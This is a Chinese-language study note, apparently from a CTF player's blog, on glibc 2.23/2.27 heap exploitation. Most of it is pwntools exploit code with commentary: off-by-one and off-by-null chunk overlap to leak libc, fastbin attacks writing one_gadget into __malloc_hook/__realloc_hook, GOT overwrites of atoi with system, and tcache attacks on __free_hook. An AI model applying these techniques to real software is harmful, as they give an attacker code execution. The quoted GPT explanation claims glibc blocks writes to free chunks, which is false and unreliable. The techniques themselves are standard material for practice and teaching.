一、2.23
1.off by one,fastbin attack打malloc
1.通过off by one使堆块合并泄露libc
1 | add(0x18,b'aaaa') |
add(0x18, ‘aaaa’) #0
必须是0x8结尾,这样才能覆盖size位
add(0x68, ‘aaaa’) #1
add(0x68, ‘aaaa’) #2
合并的堆块要进入unsortbins
add(0x10, ‘aaaa’) #3
payload = ‘a’*0x18 + ‘\xe1’
\xe1是两个堆块合并后size位的大小
edit(0, payload)
往堆块0里面写因为off by one多写一个字节,使堆块1的size位被覆盖使得堆块1,2合并
delete(1)
free掉堆块1,虽然在gdb中显示的是合并的整个大堆块被free了,但是堆块2并未被真正free,指针位未清零
add(0x60, ‘aaaa’)
将堆块1申请出来,堆块2还是被free状态(但是指针位未清零,此时fd与bk都指向main_arena+88,也就是unstort的头)
show(2)
打印堆块2,就可以将main_arena+88的地址打印出来,根据偏移就可以算出libc
fake_chunk_addr=malloc_hook-0x23
假堆块的地址,为什么要选泽malloc_hook-0x23 因为malloc_hook-0x23,因为这里的size是0x7f,属于fastbin的范围,而且是在malloc_hook与realloc_hook的下面,可以修改其值,执行为one_gadget
add(0x68,b’\x00’*8)
将被指针未清零的的堆块2申请出来,也就是堆块4,堆块2,4指向的是同一个位置(所以gdb中只显示四个堆块)
free(4)
将堆块4free
edit(2,p64(fake_chunk_addr))
通过堆块2修改已经free的堆块4的fd指针,修改为假的堆块地址
add(0x68,b’aaaa’)
将堆块4申请出来
payload=b’a’*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)
#bug()
add(0x68,payload)
这个堆块在gdb中是看不到的,但是可以通过查看内存,看内容是否被更改
这个堆块就是假的堆块了(0x13-0x08)这个是从malloc_hook-0x13的位置开始写入,因为size位0x10,指针指向写入数据的地方,-0x8是因为malloc_hook-0x8就是realloc_hook,将(malloc_hook-0x8)也就是realloc_hook的位置写入one_gadget,将malloc_hook的地方写入realloc_addr+12(这个是为了满足one_gadget调用的条件)
**malloc_hook**设置为**realloc+offest**:通过覆盖堆上的函数指针,将malloc_hook指向realloc。**realloc_hook**设置为**one_gadget**:通过覆盖堆上的另一个函数指针,将realloc_hook指向one_gadget。
这样,程序在调用 malloc 时,会跳转到 realloc,而在执行 realloc 时,会跳转到 one_gadget,最终执行恶意代码
主要原因、realloc函数中有大量的push指令**(在执行__realloc_hook之前),因此我们将realloc函数的地址加上一定的偏移,就可以选择去执行一定量的push指令,从而抬高栈帧(我指的抬高栈帧是栈帧又向着低地址增长了)。这样rsp增加了之后,我们就可以控制例如rsp+0x30,让其内存值正好落在0处。


p.recvuntil(“choice: “)
p.sendline(“1”)
p.sendlineafter(“size?”,str(0x18))
p.interactive()
调用malloc获取shell
调用malloc函数—->判断是否有malloc_hook,有则调用之—->我们这里malloc_hook设置的为realloc函数+offset,程序便到此处执行—->执行realloc函数时,会判断是否有realloc_hook,有则调用之—->我们这里realloc_hook设置的为one_gadget,所以便会转到one_gadget处执行。
疑问:那为什么不可以直接修改堆块2的内容也就是修改fd的值为假堆块,也就是为什么堆块2可以被打印,但无法修改里面的内容
答案来自gpt:
- 堆块合并:通过修改堆块的
size字段,堆块1和堆块2被堆管理器合并成一个大的空闲堆块,释放堆块1,虽然gdb中显示整个大堆块被释放,但是堆块2并没有被显式释放。 - 堆块2依然存在:虽然堆块2在gdb中显示被释放,但堆管理器并没有清除其内容,因此堆块2的内存仍然可以被访问,甚至打印出来。
- 堆块2无法修改:因为堆块2已经被堆管理器标记为“空闲”,堆管理器限制了对其的修改操作,以防止潜在的内存破坏和不一致性。
- 堆管理的内存保护:空闲块的内容通常不会被修改,堆管理器会确保内存的完整性,避免对空闲块的修改。只有在空闲块被重新分配或被进一步操作时,堆块的内容才可能被清除或修改。
fastbins打malloc_hook与free_hook,都把堆块申请在malloc_hook/free_hook-0x23
2.off by null
1.利用off by null,堆块合并泄露libc
1.有edit
1 | add(0x200,b'chunk0') |
add(0x200,b’chunk0’)
这个随便但是要在unsortbins
add(0x68,b’chunk1’)
必须在fastbins,而且必须是0x8结尾,因为这样才能覆盖到chunk2的pre_size位
add(0x1f0,b’chunk2’)
堆块的size位必须是整百,这样off by null溢出的\x00就会将p位覆盖为零且不影响size位
add(0x10,b’chunk3’)
防止与top_chunk合并
bug()
free(0)
为后来泄露libc做准备
edit(1,b’a’*0x60+p64(0x280))
覆盖堆块1的pre_size位与p位,欺骗前面的堆块被free
free(2)
使三个堆块合并成一个大堆块
add(0x200,b’chunk0’)
将堆块0申请回来,使fd与bk压入堆块1
show(1)
泄露libc
2.没有edit,使用add来修改size位
1 | add(0x200,b'chunk0') |
这里就只解释一下为什么是show(0),因为将堆块0,1都free了,所以先申请的0x18的堆块变成了堆块0,后申请的0x200的是堆块1
2.off by null fastbin attack 打malloc
因为我们将堆块0,又申请出来了,导致堆块1是free状态,可以打印,但无法修改,所以没发改fd,进行fastbin attach
所以我们再多申请一个,使得四个堆块堆叠,堆块1泄露libc,用堆块2改fd进行fastbin attach
1 | add(0x100 , b'chunk0') |
free(2)
add(0x120, b’\0’*0x108+flat(0x71, fake_chunk_addr))
将堆块2free,申请处0x120,将堆块2的fd改了,fastbin attack
在这里就解释一下这个
为什么不能直接修改chunk2,因为堆块已经合并了,即使修改修改完fd也申请不出来,只能将chunk2前一个堆块先申请出来,多申请一点,带着把chunk2的fd给修改了
3.off by null fastbin attack unlink
add(0x80,b’chunk0’)
add(0x68,b’chunk1’)
add(0xf0,b’chunk2’)
add(0x10,b’chunk3’)
bug()
free(0)
payload = b’\x00’*0x60+p64(0x100)
edit(1,payload)
free(2)
这个与前面的一样就不解释了
然后最关键的来了
free(1)(堆块1其实被free了两次)
add(0xa0, b’\0’*0x88+flat(0x71, 0x6020a0-3))(堆叠改,也可以double free具体实现看下面代码)
这个就是fastbin attack,为什么选在0x6020a0-3,因为fastbin可以申请在这里,而且距离堆块指针所在的地址近
看一下gdb就明白了

fastbin可以申请在这里

并且距离指针所在地址近,往下面覆盖可以更改指针指向的地址,也就是指针的值,就行unlink一样
add(0x68,b’\n’)
add(0x68, b’\0’*3 + flat(0,0,0,0, elf.got[‘atoi’], elf.got[‘puts’]))
再来理解一下这个,申请两次就把0x6020a0-3这个位置申请出来了,然后因为chunk头,我们其实是从0x6020b0-3这个位置开始写的,先写三个0对齐
然后看gdb吧

补充p64(0)*4
然后再写就写到0x6020d0,与0x6020d8,也就是将chunk2,chunk3,指针所指向的地址改成了
elf.got[‘atoi’], elf.got[‘puts’]


然受show(3)泄露libc,修改堆块2,将atoi got表改成system
4.off by null 实现double free
1 | add(0x80) #0 |
二、2.27
1.off by null
因为2.27的Tcachebins 没有检查,可以任意地址申请,所以我们直接打__free_hook就行
1 | from pwn import * |
for i in range (7):
add(i,0xf0)
add(7,0xf0)
先申请七个,在申请的这个就会进入unsortbins,用来泄露libc
add(8,0x88)
这个堆块是在Tcachebins 中,但是也可以堆块合并堆叠,并且利用比fastbins更简单
for i in range(7):
add(i, 0xf0)
add(7, 0xf0)
这个先将7个Tcachebin申请出来,在申请一个就是unsortbins的,这样就可以泄露libc了,后面就不解释了